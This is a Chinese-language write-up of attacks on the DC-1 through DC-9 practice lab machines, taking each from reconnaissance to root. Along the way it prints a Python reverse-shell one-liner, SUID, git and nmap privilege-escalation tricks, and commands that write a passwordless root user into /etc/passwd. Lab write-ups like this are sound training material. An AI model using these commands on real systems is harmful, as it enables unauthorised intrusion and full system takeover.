DC-1

信息搜集

扫描端口服务

发现开启了111端口,搜集一波信息,找到一篇文章,可以对服务器ddos从而使其崩溃,这里我们大概没啥用

访问网站,得知web框架是drupal

百度下有挺多getshell教程,msf搜索下有没有集成相关漏洞

msf获取会话

挨个试,试到第五个成功获取session

python建立交互式shell,在当前目录下找到flag1,并且下一步提示在配置文件里

1
python -c "import pty;pty.spawn('/bin/bash')"

在站点的default目录下找到了一个settings.php,查看后得到数据库用户名和密码以及下一步的提示

重置网站管理员密码

尝试登录mysql

drupaldb库里有张user表,在里面找到用户名以及hash处理后的密码

试着john和hashcat解密,解不开,后来搜到一篇文章说可以重置密码,重置下即可

首先使用密码生成脚本生成新密码的hash

拿到hash在mysql中手动更新一下

但我这里因为超过失败次数账号被锁了,那么按照文章中说的,情况flood表即可

1
truncate table flood

管理员登录

在dashboard里找到flag3

SUID_find提权

根目录下发现home目录下有flag4文件

提示我们要提权,我们查看下系统内核

本来想到脏牛,但靶机没有安装gcc环境,那么试下SUID提权

首先查找拥有SUID权限的文件

1
find / -user root -perm -4000 -print 2>/dev/null

我们可以看到文件是具有root权限的

我们可以利用其权限执行命令,常用的是find命令,它有一个-exec选项,可以让我们执行shell命令

1
/usr/bin/find flag1.txt -exec whoami \;			#这里的文件必须是能找到的

在kali上新开一个终端nc监听端口,靶机建立一个python开启一个连接

1
/usr/bin/find /var/www/flag1.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.126.128",3122));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

find命令找到flag文件

读取flag

完成

DC-2

信息搜集

扫描端口,ssh端口被改了下

访问80端口发现被重定向,那么修改一下hosts文件即可

修改之后目录扫描发现一些wordpress的目录

并且whatweb扫出来了wordpress4.7.10,挺老的版本了,应该有洞

在菜单栏得到flag1

bp||wpscan爆破用户名和密码

提示说需要用cewl,说我们需要用某个账号登录来得到下一个flag

百度下cewl是一个kali自带的根据网站深度自动生成字典的工具,简单了解一下咋用,试着生成一个字典

输入下列命令之后,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典:

1
cewl http://www.ignitetechnologies.in/

加上-w参数保存结果到文件

有了可能包含了密码的字典,那么现在需要一个用户名,菜单栏里有个ourpeople,但点进去发现貌似是一种似英文而不是英文的东西,信息搜集失败

/wp-admin/进去看下后台,后台的检验方式可以爆破出用户账号

抓包爆破出这几个

用intruder的cluster bomb模式爆破下,用户名添加这三个,密码加载上之前cewl得到的字典,爆破出来两个

后来在看wp时了解到还有种获得用户名的方法

wpscan是一款专业针对WordPress安全扫描仪,学着用下

wpscan --url http://dc-2进行信息扫描

wpscan --url http://dc-2 -e u进行用户名枚举

再使用cewl爬取的密码文件进行爆破账号密码

1
wpscan --url http://dc-2 -U u.txt -P aa.txt

这样也可以得到用户名密码

登录看看,在jerry用户上找到flag2

爆破ssh登录

用wpscan扫了下主题和插件漏洞没啥发现,试着hydra用刚得到的字典爆破下ssh,发现tom用户可以登录

那么ssh登录

操作发现一些命令被移除,但vi可以用

提示提权,但开启了rbash限制

rbash逃逸

google了下相关信息,大概学到了两种方法适用

一种是利用vi提权

先后在vi的命令模式下执行以下两条指令

1
2
:set shell=/bin/sh
:shell

一种是利用BASH_CMDS,它是含有命令的内部散列表的数组,我们可以添加元素,然后执行

ps:另外还学到了一个自动补全命令compgen -c,通过这个我们可以得知当前可以使用的命令

但我们逃逸了之后还是会发现无法执行命令,原因是环境变量中命令调取的路径被改变了,我们执行export PATH=/usr/bin:/usr/sbin:/bin:/sbin把路径改回来,就可以正常执行命令了

find命令寻找flag文件

虽然说没hints,但最后说了一句git出去,也就是git提权了

git提权

tom用户里找不到更多信息了,之前找不到的su命令可以用了,利用之前的密码切换到jerry,百度些git提权的信息学习了下

linux中more和less命令允许我们以分页的方式查看文本文件,如果我们在这种分页状态下输入诸如!'ls'的指令,引号之中的命令就会执行

而git中正好有一个-p选项支持用分页的方式阅读帮助信息,这种模式和more,less命令的模式相同

我们执行sudo -l查看sudo的权限,这里提示我们git命令是root权限并且是不需要密码的

那么sudo执行git -p,在分页模式下执行!'/bin/sh'即可获取一个root权限的shell

find查找flag,找到最后一个flag

完成

DC-3

信息搜集

端口只开了一个80

探测到的是bootstrap框架

后台地址

打开网址得知系统是joomla

用xray扫出了一个cve

cve得到用户名密码

github上找到这个cve的poc

成功得到管理员hash后的密码,试着放到john里爆破,得snoopy

getshell

登录

看能不能找到上传点getshell

模板处找到上传点

点击new file生成一个php文件,将一句话代码写入,蚁剑连接

或者这里用msf也行,它直接集成了这个cve,设置payload之后expliot可以直接getshell,方便又快捷

double_fdput提权

查看下系统内核是16年的ubuntu

发现有git,下载个linux漏洞检测工具试试

执行脚本列出了几个可能的漏洞

并且给了各个漏洞的利用脚本,一个个试,两个脏牛直接导致会话崩溃,第三个成功提权

wget把给的脚本文件下载下来解压,进入exploit目录,运行compile.sh,执行doubleput,成功得到root权限

find搜索flag,完成

DC-4

信息搜集

ssh开着,80服务一个登录框

获取敏感信息

也没挂啥服务,一边丢burp,万能密码直接进来了。。。

进来是个命令执行界面,内置了几个命令,抓包有任意命令执行

搜索一番发现jim用户下有个备份文件夹,里面有一个旧密码的txt

ssh爆破

用得到的旧密码试着爆破jim用户的ssh密码,

登录,home目录下有个奇怪的邮件

翻目录,在var下的mail目录下找到一封邮件,得到Charles的密码

那么切换用户,得知teehee命令是不需要root权限的

teehee提权

看看这个是干啥的,–help查看帮助

注意到-a参数可以直接在文件末尾加上字符串

那么尝试往passwd写入一个账户

/etc/passwd 各个字段的含义:

1
username:password:User ID:Group ID:comment:home directory:shell

写入

1
blacknight::0:0:::/bin/bash

密码我们直接置空,uid和gid都是0,也就是root用户,也就是说覆盖了root账户,密码为0

根目录执行find命令找到flag

DC-5

信息搜集

111端口之前以及提到可能会造成拒绝服务攻击,36018不知道啥服务

扫下目录

探测指纹也就一个nginx,没啥框架

访问80服务,几个页面都是一大堆文字,就一个

整个网站就这么一个页面可以交互,抓包看看

发现每次发包,copyright的年份都会变化,之前也扫到了一个footer.php,访问下正是这个部分

日志注入

那么猜想thankyou.php应该是require或者include了一个footer.php,那么就可能存在文件包含漏洞

验证一下确实存在,参数。。。嗯猜出来或者fuzz一下

那么日志就可以包含到了,直接往日志里写入shell

我这直接nc一个端口连一下

转换程交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

SUID_screen4.5.0提权

没找到啥其他可疑文件,找找suid,发现有个奇怪的screen

百度一波

并且看到该版本可以提权,搜索相关漏洞

跟着文章复现即可

最后得到root权限

tips:这里的几个shellcode是用nc传过去的,在看wp的过程中学到了使用vsftps进行文件下载,参考文章

DC-6

信息搜集

又是一波重定向,修改hosts搞定,打开80页面是熟悉的wordpress界面

爆破后台

wpscan扫一波发现了几个用户名,尝试爆破无果,回去看看还有提示

说是把rockyou.txt里的包含k01的密码提取出来,那就试试用这个爆破,还真出来一个

登陆后台,注意到有个插件,大概是记录网站活动的东西

getshell

百度得知这个插件是被爆过洞的,参考文章

这里存在着命令执行

那么直接连个shell

输入框有长度限制,抓个包构造

备份脚本执行

home目录下有个txt,获得graham的密码

sudo -l得知有个jens用户的backups.sh免密

并且当前用户还对文件有写入权限

执行看看

那么直接nc连下

nmap命令执行提权

又发现nmap可以root免密执行

那么直接创建一个脚本,利用nmap执行脚本获得一个root用户的shell

得到flag

DC-7

信息搜集

框架是drupal

没啥公开洞,登录密码爆破无果。

社工

注意到网页底部有个标识

github搜到相关信息

配置文件中得到用户名和密码

登录不上,ssh连接成功

drush修改用户名密码

用户目录下有个mbox,查看信息大概是个定时任务提醒

来到opt目录,查看backup脚本

注意到里面有个drush命令,百度一波,得知是操作drupal的工具,可以直接修改用户名密码

这里注意要到html目录下运行,只有这个目录是www-data权限,不然会提示权限不够

改好了密码登录

getshell

backups.sh脚本是root用户执行的,并且www-data可以改

那么考虑怎么拿到www-data的shell

翻阅后台,本来想生成一个php页面,但百度得知drupal默认是移除了php页面生成的

想要创建一个php页面必须在线安装或着下载离线包

点击安装模块

输入下载地址,点击install

激活

找到模块勾选

点击install

回到创建页面,发现已经可以创建php页面

监听端口,save访问,成功getshell

定时脚本执行提取

注意到之前的脚本是root用户执行的,并且www-data可以改,那么直接往里面加内容连shell

等一会即可获取root权限

得到flag

DC-8

信息搜集

xray监听放着,点几下网站,直接爆出了sql注入

sqlmap获取用户名密码

sqlmap一把梭

john试着爆破下,admin没爆破出,得到john用户的密码

getshell

试着寻找webshell注入点

这里没成功,看了下wp说是要在php代码之前加一些文字

这样再试下,点击submit

成功弹到了shell

exim4漏洞提权

这里的目录文件大概是和dc1s一样的,有重置密码脚本,站点下的配置文件也直接给出了数据库密码

可以直接重置管理员密码,但我们需要的是提权

寻找特权文件

1
find / -user root -perm -4000 -print 2>/dev/null

发现一个可疑的命令exim4,百度下相关信息,得知可以提权

查看版本

查找相关漏洞

复制相关脚本到本地,再本地python搭个http服务,目标机shell上把脚本wget下来

查看脚本使用说明

但执行不了

大概是因为脚本是在windows上编写完成传到Linux服务器上的,是dos格式,而shell脚本格式必须是unix才行,验证方法

1
cat -A filename,如果输出结果中行末尾是^M$,则是dos格式,如果行末尾只是$,则是unix格式

博客中找到解决办法

在本机上将脚本通过vim的: set ff=unix转换为unix格式,再wget到目标主机

再赋予权限执行,成功拿到root权限

得到flag

DC-9

信息搜集

xray扫出个sql注入

sqlmap一把梭

users库里的Userstaff表里存储着用户名和密码

Staff库的User表里找到管理员密码

md5网站看下

登上管理员账号看看没啥发现,只有个添加记录的功能

注意到提交页面之后下面有个file not exits,猜测可能是包含了file参数,试下成功任意文件读取

端口敲门

把之前跑出来的用户名和密码复制下来准备ssh爆破用,但之前nmap已经得知,22端口被flitered了

Port Knocking for Ubuntu 14.04 Server

端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

知识盲区了,通过文件读取查看etc下的knockd.conf

现在看ssh是关闭的

按照这个方法我们nmap访问7469,8475,9842三个端口,这里还要注意顺序

现在看ssh已经打开了

ssh爆破

那么我们利用刚存好的用户名和密码在hydra里爆破

挑个登录,在一个用户里又找到一份密码文件

再复制下来跑一下,又多跑出来一个用户

写入root用户提权

登录,查看sudo -l,有个自定义的脚本

大概就是读取read部分的文件,然后把read的文件写入append文件,并且这个命令是root权限的可以写入root权限的文件

那么如果我们往/etc/passwd中写入一个我们自己的用户,比如

1
blacknight::0:0:::/bin/bash

那么就创建了一个blacknight的用户,并且他的uid和gid都是0,其实也就是root用户

1
echo 'blacknight::0:0::/root:/bin/bash' >> /tmp/aaa

但这里发现个问题,那就是用户名超过一定长度就失效,后来改短了点才加进去

1
echo 'tos::0:0::/root:/bin/bash' > /tmp/aaa

但即使密码设为空也无法登录,换种方式,仿照/etc/shadow的内容,使用openssl生成一个hash的密码

1
openssl passwd -1 -salt tos 123456

成功登录root用户

得到flag